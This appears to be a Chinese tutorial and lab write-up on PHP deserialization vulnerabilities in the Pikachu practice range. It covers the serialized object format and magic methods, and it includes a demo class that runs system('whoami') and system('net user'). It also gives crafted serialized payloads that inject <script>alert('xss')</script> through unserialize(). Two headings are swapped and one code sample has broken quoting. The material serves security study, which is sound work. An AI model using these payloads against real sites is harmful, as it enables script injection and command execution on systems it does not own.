1. 程式人生 > 其它 >反序列化漏洞利用

反序列化漏洞利用

反序列化漏洞原理:

反序列化:

  class S{
public $test="pikachu";
}
$s=new S(); //建立一個物件
serialize($s); //把這個物件進行序列化
序列化後得到的結果是這個樣子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表物件名字長度為一個字元
S:物件的名稱
1:代表物件裡面有一個變數
s:資料型別
4:變數名稱的長度
test:變數名稱
s:資料型別
7:變數值的長度
pikachu:變數值

序列化:

  $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的結果為pikachu

反序列化和序列化函式本身並沒有問題:但是如果內容使用者可以控制,並且後端不正確的使用了php中的魔術函式,就會導致安全問題

常見的幾個魔法函式:
__construct()當一個物件建立時被呼叫

__destruct()當一個物件銷燬時被呼叫

__toString()當一個物件被當作一個字串使用

__sleep() 在物件在被序列化之前執行

__wakeup將在序列化之後立即被呼叫
class S{
var $test = "pikachu";
function __destruct(){
echo '物件銷燬';
system('whoami');
}
function __construct(){
echo '物件建立';
system('net user');

}
function __toString(){
echo '物件被當作一個字串';

}
function __sleep(){
echo "物件在被序列化之前";

}
function __wakeup(){
echo '在序列化之後立即被呼叫';

}

}

建立一個class,

 $a=new S();//當此函式在時,呼叫了 __construct(),__destruct()方法
serialize($a)物件在被序列化之前 __sleep()

靶場中程式碼審計

if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,來點勁爆點兒的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}

}

如果接受的值為序列化值,那麼就呼叫$unser->test

O:1:"S":1:{s:4:"test";}

O:1:"S":1:{s:5:"test1";s:25:"<script>alert(1)</script>";}

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

當輸入的值為O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

就會出現一個彈窗強行定義一個值